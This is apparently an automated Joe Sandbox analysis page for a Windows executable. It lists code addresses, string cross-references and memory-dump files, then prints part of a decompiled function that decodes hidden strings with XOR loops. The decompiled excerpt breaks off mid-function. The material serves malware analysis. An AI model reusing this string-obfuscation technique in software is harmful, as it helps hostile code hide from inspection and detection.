0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7cf
0x0040a7d7
0x0040a7d8
0x0040a7db
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f8
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a936
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa11
0x0040aa1d
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x0040add5
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adf3
0x0040adf3
0x0040adf4
0x0040adfe
0x0040ae18
0x0040ae18
0x0040ae49
0x0040ae3d
0x0040ae4b
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x0040ae5b
0x00000000

Strings

e, xrefs: 00409AFB
g, xrefs: 004096A6
E, xrefs: 0040A03F
3, xrefs: 00409986
E, xrefs: 00409CAA
V, xrefs: 0040A75E
L, xrefs: 0040A04F
:, xrefs: 0040A80C
K, xrefs: 00409C05
d, xrefs: 0040A878
T, xrefs: 00409D6A
7, xrefs: 00409C15
\, xrefs: 0040A03A
p, xrefs: 004093EA
^, xrefs: 0040A595
_, xrefs: 00409475
$, xrefs: 00409AD2
$, xrefs: 0040A7EC
d, xrefs: 0040A868
;, xrefs: 00409CC3
-, xrefs: 00409706
c, xrefs: 0040A98F
*, xrefs: 00409B03
Z, xrefs: 0040AA1E
%, xrefs: 00409A43
;, xrefs: 0040A62E
{, xrefs: 0040A170
!, xrefs: 0040A565
[, xrefs: 004099BE
7, xrefs: 0040A5C5
), xrefs: 0040980D
i, xrefs: 00409E0D
N, xrefs: 004093FA
L, xrefs: 0040AA35
I, xrefs: 0040990F
4, xrefs: 00409465
&, xrefs: 0040A51D
K, xrefs: 00409F8E
o, xrefs: 004098F0
y, xrefs: 004091ED
&, xrefs: 004095A9
q, xrefs: 00409AF3
", xrefs: 0040A047
J, xrefs: 004096B6
H, xrefs: 0040A0A1
Z, xrefs: 00409E9F
$, xrefs: 0040913C
d, xrefs: 0040A96F
", xrefs: 0040AA3D
B, xrefs: 00409F86
;, xrefs: 0040A5BD
D, xrefs: 0040A7E4
4, xrefs: 00409D95
p, xrefs: 0040A3C2
., xrefs: 00409FA0
1, xrefs: 00409BED
#, xrefs: 0040A626
\, xrefs: 0040931E
K, xrefs: 00409EA7
u, xrefs: 0040A880
I, xrefs: 0040A58D
>, xrefs: 00409134
-, xrefs: 0040A33F
., xrefs: 00409F96
c, xrefs: 00409591
l, xrefs: 0040998E
8, xrefs: 0040991F
t, xrefs: 00409E87
4, xrefs: 00409CDB
E, xrefs: 004091E5
E, xrefs: 0040A236
h, xrefs: 0040A69E
9, xrefs: 004092A1
{, xrefs: 0040AA4F
V, xrefs: 00409F66
<, xrefs: 00409739
O, xrefs: 00409F6E
., xrefs: 00409CCB
f, xrefs: 0040999E
_, xrefs: 00409B95
_, xrefs: 00409AAB
E, xrefs: 0040AA59
*, xrefs: 0040A5A5
4, xrefs: 0040AA23
?, xrefs: 0040A555
s, xrefs: 0040A804
[, xrefs: 00409E97
G, xrefs: 0040997E
=, xrefs: 0040920D
6, xrefs: 00409A5B
}, xrefs: 0040A34F
q, xrefs: 00409BAD
Z, xrefs: 00409CEB
a, xrefs: 004095A1
F, xrefs: 0040A63E
T, xrefs: 0040A7DC
C, xrefs: 00409F76
:, xrefs: 0040A3E2
I, xrefs: 0040A834
>, xrefs: 0040981D
o, xrefs: 0040A870
9, xrefs: 0040A1D2
3, xrefs: 00409CD3
_, xrefs: 0040A61E
t, xrefs: 0040A858
r, xrefs: 0040A860
`, xrefs: 0040A68E
K, xrefs: 00409A4B
P, xrefs: 0040A766
!, xrefs: 004091CD
P, xrefs: 0040A64E
I, xrefs: 00409A8B
/, xrefs: 004098DE
J, xrefs: 0040AA4A
n, xrefs: 00409D85
_, xrefs: 0040A814
-, xrefs: 0040992F
5, xrefs: 0040A646
d, xrefs: 0040A160
}, xrefs: 0040A505
l, xrefs: 0040A987
j, xrefs: 0040A0B1
Z, xrefs: 00409D00
), xrefs: 00409D7D
], xrefs: 0040A97F
', xrefs: 004093E2
}, xrefs: 0040939E
9, xrefs: 0040A057
, xrefs: 0040A4FD
+, xrefs: 0040A83C
5, xrefs: 0040961C
<, xrefs: 00409A73
[, xrefs: 0040A1F2
=, xrefs: 00409CE3
i, xrefs: 004096CE
#, xrefs: 00409E1D
^, xrefs: 00409F7E
2, xrefs: 0040A3DA
', xrefs: 0040A844
g, xrefs: 0040A0A9
}, xrefs: 00409485
O, xrefs: 0040A5D5
H, xrefs: 004091DD
j, xrefs: 00409624
@, xrefs: 0040A030
&, xrefs: 0040A32F
5, xrefs: 00409C8B
), xrefs: 0040A8BB
o, xrefs: 004098E6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$&$&$&$'$'$)$)$)$*$*$+$-$-$-$.$.$.$/$1$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$@$B$C$D$E$E$E$E$E$F$G$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$O$O$P$P$T$T$V$V$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$o$o$o$p$p$q$q$r$s$t$t$u$y${${$}$}$}$}
API String ID: 0-2726720408
Opcode ID: 2eb1114a4c6c6d01984bfb6a241253e38d9a0d44b1cbf1fd0d22120e184ad22b
Instruction ID: 92424bebdf2653df95e8dee6ab089e592aa7fd67060810d26008038a7f5279d3
Opcode Fuzzy Hash: 2eb1114a4c6c6d01984bfb6a241253e38d9a0d44b1cbf1fd0d22120e184ad22b
Instruction Fuzzy Hash: B2F2902000C7C299D332863C98587DFBFD55BA7328F588BADD1ED4A2E2D675020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 004091A7, Relevance: 184.9, Strings: 147, Instructions: 1190
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004091A7(void* __eax, char __ebx, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a25, char _a26, char _a27, char _a28, char _a29, char _a30, char _a32, char _a33, char _a34, char _a35, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a44, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, char _a372, char _a373, char _a374, char _a375, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a401, char _a402, char _a403, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a417, char _a418, char _a419, char _a420, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a433, char _a434, char _a435, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a449, char _a450, char _a451, char _a452, char _a456, char _a464, char _a472, char _a473, char _a474, char _a475, char _a476, char _a477, char _a478, char _a479, char _a480, char _a481, char _a488, char _a489, char _a490, char _a491, char _a492, char _a493, char _a496, char _a497, char _a498, char _a499, char _a500, char _a501, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a513, char _a514, char _a515, char _a516, char _a517, char _a520, char _a521, char _a522, char _a523, char _a524, char _a525, char _a526, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a564, char _a565, char _a566, char _a567, char _a568, char _a569, char _a570, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a593, char _a594, char _a595, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a617, char _a618, char _a619, char _a620, char _a621, char _a622, char _a623, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a657, char _a658, char _a659, char _a660, char _a661, char _a662, char _a663, char _a664, char _a668, char _a669, char _a670, char _a671, char _a672, char _a673, char _a674, char _a675, char _a676, char _a680, char _a681, char _a682, char _a683, char _a684, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a712, char _a713, char _a714, char _a715, char _a716, char _a717, char _a718, char _a719, char _a720, char _a721, char _a728, char _a729, char _a730, char _a731, char _a732, char _a733, char _a752, char _a753, char _a754, char _a755, char _a756, char _a757, char _a758, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a784, char _a785, char _a786, char _a787, char _a788, char _a789, char _a790, char _a791, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a844, char _a845, char _a846, char _a847, char _a848, char _a849, char _a850, char _a851, char _a852, char _a853, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t987;
				signed int _t988;
				intOrPtr _t993;
				intOrPtr _t994;
				void* _t995;
				void* _t996;
				void* _t997;
				void* _t998;
				intOrPtr _t1000;
				void* _t1001;
				intOrPtr _t1002;
				void* _t1003;
				void* _t1004;
				void* _t1006;
				void* _t1007;
				void* _t1008;
				intOrPtr _t1009;
				void* _t1010;
				void* _t1013;
				void* _t1014;
				void* _t1015;
				void* _t1019;
				void* _t1023;
				intOrPtr _t1025;
				intOrPtr _t1026;
				void* _t1027;
				void* _t1028;
				void* _t1029;
				intOrPtr _t1031;
				intOrPtr _t1037;
				void* _t1038;
				void* _t1039;
				intOrPtr _t1040;
				void* _t1041;
				void* _t1042;
				void* _t1043;
				void* _t1044;
				intOrPtr _t1046;
				void* _t1047;
				void* _t1052;
				void* _t1055;
				void* _t1056;
				void* _t1057;
				void* _t1058;
				intOrPtr _t1061;
				void* _t1065;
				void* _t1067;
				intOrPtr _t1105;
				void* _t1144;
				void* _t1236;
				void* _t1239;
				void* _t1240;
				void* _t1242;
				void* _t1244;
				intOrPtr _t1245;
				intOrPtr _t1247;
				signed int _t1248;
				intOrPtr _t1250;
				void* _t1252;
				void* _t1253;
				void* _t1254;
				void* _t1255;
				void* _t1256;
				void* _t1257;
				void* _t1259;
				void* _t1260;
				void* _t1261;
				void* _t1262;
				void* _t1263;

				_t987 = __eax;
				do {
					 *((char*)(_t1252 + _t987 + 0x228)) =  *((intOrPtr*)(_t1252 + _t987 + 0x228)) +  *((intOrPtr*)(_t1252 + _t987 + 0x17c));
					_t987 = _t987 + 1;
				} while (_t987 < 7);
				_a668 = 0x21;
				_a669 = 0xb0;
				_a670 = 0x48;
				_a671 = 0x45;
				_a672 = 0x79;
				_a673 = 0xc0;
				_a674 = 0xe0;
				_a675 = 0x7f;
				_a676 = 0x3d;
				_a380 = 0x48;
				_a381 = 0xd3;
				_a382 = 0x3a;
				_a383 = 0x2a;
				_a384 = 0xa;
				_a385 = 0xaf;
				_a386 = 0x86;
				_a387 = 0xb;
				_a388 = 0x3d;
				_t988 = 0;
				do {
					 *(_t1252 + _t988 + 0x29c) =  *(_t1252 + _t988 + 0x29c) ^  *(_t1252 + _t988 + 0x17c);
					_t988 = _t988 + 1;
				} while (_t988 < 9);
				_a680 = 0xfd;
				_a681 = 0xbf;
				_a682 = 0x39;
				_a683 = 0xaa;
				_a684 = 0xaa;
				_a380 = 0xaa;
				_a381 = 0xda;
				_a382 = 0x4a;
				_a383 = 0xde;
				_a384 = 0x96;
				_a68 = E004073E0( &_a380, 5,  &_a680);
				_push( &_a716);
				_t1236 = 6;
				asm("pushad");
				asm("popad");
				_a716 = 0xfd;
				_a717 = 0xfa;
				_a718 = 0xf2;
				_a719 = 0xc2;
				_a720 = 0x5c;
				_a721 = 0xa2;
				_a376 = 0xa2;
				_a377 = 0x24;
				_a378 = __ebx;
				_a379 = 0x9c;
				_a380 = 0x93;
				_a381 = 0x91;
				_t993 = E004073E0( &_a376, _t1236);
				_push(5);
				_push( &_a728);
				_a104 = _t993;
				_a728 = 0x90;
				_a729 = 0xec;
				_a730 = 0xd;
				_a731 = 3;
				_a732 = 3;
				_a733 = 0x7d;
				_a372 = 0x60;
				_a373 = 0xc;
				_a374 = 0x63;
				_a375 = 0;
				_a376 = 0x61;
				_a377 = 0xd;
				_t994 = E00407370( &_a372);
				_t1253 = _t1252 + 8;
				_a72 = _t994;
				_a448 = 0x27;
				_a449 = 0x70;
				_a450 = 0x19;
				_a451 = 0x4e;
				_a452 = 0xbb;
				_a372 = 0x49;
				_a373 = 0x15;
				_a374 = 0x6e;
				_a375 = 0x3d;
				_a376 = 0xbb;
				_t995 = 0;
				do {
					 *(_t1253 + _t995 + 0x1c8) =  *(_t1253 + _t995 + 0x1c8) ^  *(_t1253 + _t995 + 0x17c);
					_t995 = _t995 + 1;
				} while (_t995 < 5);
				_a520 = 6;
				_a521 = 0x34;
				_a522 = 0xa9;
				_a523 = 0x5f;
				_a524 = 3;
				_a525 = 0x7d;
				_a526 = 0x83;
				_a380 = 0x68;
				_a381 = 0x5b;
				_a382 = 0xcb;
				_a383 = 0x30;
				_a384 = 0x67;
				_a385 = 4;
				_a386 = 0x83;
				_t996 = 0;
				do {
					 *(_t1253 + _t996 + 0x208) =  *(_t1253 + _t996 + 0x208) ^  *(_t1253 + _t996 + 0x17c);
					_t996 = _t996 + 1;
				} while (_t996 < 7);
				_a488 = 0xea;
				_a489 = 0xeb;
				_a490 = 0xeb;
				_a491 = 0xea;
				_a492 = 0xe1;
				_a493 = 0x84;
				_t997 = 0;
				do {
					 *(_t1253 + _t997 + 0x1e8) =  *(_t1253 + _t997 + 0x1e8) ^ 0x00000084;
					_t997 = _t997 + 1;
				} while (_t997 < 6);
				_a592 = 0xad;
				_a593 = 0xac;
				_a594 = 0xb1;
				_a595 = 0xa6;
				_a596 = 0xb3;
				_a597 = 0xaf;
				_a598 = 0xba;
				_a599 = 0xc3;
				_t998 = 0;
				do {
					 *(_t1253 + _t998 + 0x250) =  *(_t1253 + _t998 + 0x250) ^ 0x000000c3;
					_t998 = _t998 + 1;
				} while (_t998 < 8);
				_push(8);
				_push( &_a784);
				_a784 = 0x63;
				_a785 = 0xe4;
				_a786 = 0x61;
				_a787 = 0x26;
				_a788 = 0xb9;
				_a789 = 0xf7;
				_a790 = 0xbd;
				_a791 = 0xf3;
				_a380 = 0x64;
				_a381 = 0x17;
				_a382 = 0x76;
				_a383 = 0x1b;
				_a384 = 0x6b;
				_a385 = 7;
				_a386 = 0x62;
				_a387 = 0x11;
				_t1000 = E00407370( &_a380);
				_t1254 = _t1253 + 8;
				_a120 = _t1000;
				_a416 = 0x35;
				_a417 = 0x6a;
				_a418 = 0x1d;
				_a419 = 0xe8;
				_a420 = 0x88;
				_a380 = 0x46;
				_a381 = 0x1a;
				_a382 = 0x7c;
				_a383 = 0x85;
				_a384 = 0x88;
				_t1001 = 0;
				_push(_t1236);
				do {
					 *(_t1254 + _t1001 + 0x1a0) =  *(_t1254 + _t1001 + 0x1a0) ^  *(_t1254 + _t1001 + 0x17c);
					_t1001 = _t1001 + 1;
				} while (_t1001 < 5);
				_push(7);
				_push( &_a752);
				_a752 = 0xab;
				_a753 = 0x67;
				_a754 = 0xda;
				_a755 = 0x4a;
				_a756 = 0xa1;
				_a757 = 0xf2;
				_a758 = 0x69;
				_a380 = 0x3c;
				_a381 = 0x49;
				_a382 = 0x39;
				_a383 = 0x5d;
				_a384 = 0x3c;
				_a385 = 0x48;
				_a386 = 0x2d;
				_t1002 = E00407370( &_a380);
				_t1255 = _t1254 + 8;
				_a88 = _t1002;
				_a400 = 0x17;
				_a401 = 4;
				_a402 = 0xdd;
				_a403 = 0xdb;
				_a404 = 0x3c;
				_a380 = 0x29;
				_a381 = 0x5d;
				_a382 = 0x99;
				_a383 = 0x95;
				_a384 = 0xc4;
				_t1003 = 0;
				do {
					 *((char*)(_t1255 + _t1003 + 0x190)) =  *((intOrPtr*)(_t1255 + _t1003 + 0x190)) +  *((intOrPtr*)(_t1255 + _t1003 + 0x17c));
					_t1003 = _t1003 + 1;
				} while (_t1003 < 5);
				_a432 = 4;
				_a433 = 0x87;
				_a434 = 0xf7;
				_a435 = 0xd4;
				_a436 = 0x19;
				_a380 = 0x44;
				_a381 = 0xe1;
				_a382 = 0x98;
				_a383 = 0xbb;
				_a384 = 0x19;
				_t1004 = 0;
				do {
					 *(_t1255 + _t1004 + 0x1b0) =  *(_t1255 + _t1004 + 0x1b0) ^  *(_t1255 + _t1004 + 0x17c);
					_t1004 = _t1004 + 1;
				} while (_t1004 < 5);
				_a617 = 0x53;
				_a621 = 0x53;
				_a616 = 0x29;
				_a618 = 0xf6;
				_a619 = 0x3e;
				_a620 = 0xc8;
				_a622 = 0x8b;
				_a623 = 0xa2;
				_a380 = 0x48;
				_a381 = 0x3d;
				_a382 = 0x8f;
				_a383 = 0x51;
				_a384 = 0xa6;
				_a385 = 0x36;
				_a386 = 0xcb;
				_a387 = 0xa2;
				_t1006 = 0;
				do {
					 *(_t1255 + _t1006 + 0x268) =  *(_t1255 + _t1006 + 0x268) ^  *(_t1255 + _t1006 + 0x17c);
					_t1006 = _t1006 + 1;
				} while (_t1006 < 8);
				_a24 = 0x88;
				_a25 = 0x99;
				_a26 = 0x8e;
				_a27 = 0xea;
				_t1007 = 0;
				do {
					 *(_t1255 + _t1007 + 0x18) =  *(_t1255 + _t1007 + 0x18) ^ 0x000000ea;
					_t1007 = _t1007 + 1;
				} while (_t1007 < 4);
				_a472 = 0xd;
				_a473 = 0x1a;
				_a474 = 8;
				_a475 = 0x1c;
				_a476 = 0x2f;
				_a477 = 0x6f;
				_t1008 = 0;
				do {
					 *(_t1255 + _t1008 + 0x1d8) =  *(_t1255 + _t1008 + 0x1d8) ^ 0x0000006f;
					_t1008 = _t1008 + 1;
				} while (_t1008 < 6);
				_push(6);
				_push( &_a712);
				_a712 = 0x49;
				_a713 = 0xc5;
				_a714 = 0x38;
				_a715 = 0xa9;
				_a716 = 0x2d;
				_a717 = 0xd6;
				_a380 = 0xde;
				_a381 = 0xbd;
				_a382 = 0xdc;
				_a383 = 0xba;
				_a384 = 0xdf;
				_a385 = 0xba;
				_t1009 = E00407370( &_a380);
				_t1256 = _t1255 + 8;
				_a128 = _t1009;
				_a656 = 0x47;
				_a657 = 0x33;
				_a658 = 0x6c;
				_a659 = 7;
				_a660 = 0x66;
				_a661 = 0x81;
				_a662 = 0xfd;
				_a663 = 0xe8;
				_a664 = 0x5b;
				_a380 = 0x24;
				_a381 = 0x56;
				_a382 = 0x1e;
				_a383 = 0x73;
				_a384 = 0xf;
				_a385 = 0xe7;
				_a386 = 0x94;
				_a387 = 0x8b;
				_a388 = 0x5b;
				_t1010 = 0;
				do {
					 *(_t1256 + _t1010 + 0x290) =  *(_t1256 + _t1010 + 0x290) ^  *(_t1256 + _t1010 + 0x17c);
					_t1010 = _t1010 + 1;
